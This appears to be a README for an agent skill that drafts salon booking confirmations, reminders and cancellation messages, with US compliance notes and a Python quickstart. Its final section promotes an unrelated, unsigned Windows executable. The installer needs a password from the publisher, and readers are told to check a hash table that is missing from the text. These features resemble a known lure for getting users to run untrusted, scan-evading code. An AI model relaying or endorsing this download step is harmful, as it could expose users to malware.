Salon Booking Messages

Drafts US salon booking confirmations, reminders and reschedule messages with policies and clear instructions. Written for US hair salons, spas and beauty service businesses managing appointments.

Use this skill when someone asks for:

• salon booking message
• appointment confirmation
• salon reminder
• beauty appointment

The job

Salons need consistent booking messages with cancellation policies and clear info while avoiding over-communicating.

What you get

1. Collect appointment details, service, stylist, location and duration.
2. Draft confirmation with all details and add booking policy.
3. Create reminder closer to appointment time with arrival instructions.
4. Handle reschedule/cancel messages per policy.

Output contract:

• confirmation - booking details, location, stylist, policy
• reminder - timely reminder with arrival notes
• reschedule - polite reschedule message with new details
• cancellation - confirmation of cancellation per policy

US specifics that matter

• Salons should clearly state cancellation/no-show fees if they charge them; fee policies must be disclosed.
• Some states have specific rules about gift cards or deposits for services.
• If using automated texts for reminders, businesses must comply with TCPA requirements in the US.

Guardrails (hard rules)

• Never guarantee appointment availability outside the booking system.
• Never promise discounts not authorized by the salon.
• Never include other customers' appointment details.

Quickstart

1. Fill in the brief

templates/salon-booking.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/compose_message.py --input salon-booking.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/salon-booking.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Message essentials

• Confirmation: service, date/time, stylist, duration, location.
• Policies: cancellation window and any fees disclosed.
• Reminders: arrive early, parking, what to bring if anything.
• Contact: how to reschedule/cancel.

Compliance notes

• Disclose fees before charging them when possible.
• Follow TCPA for automated marketing texts/calls.
• Respect customer communication preferences.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.
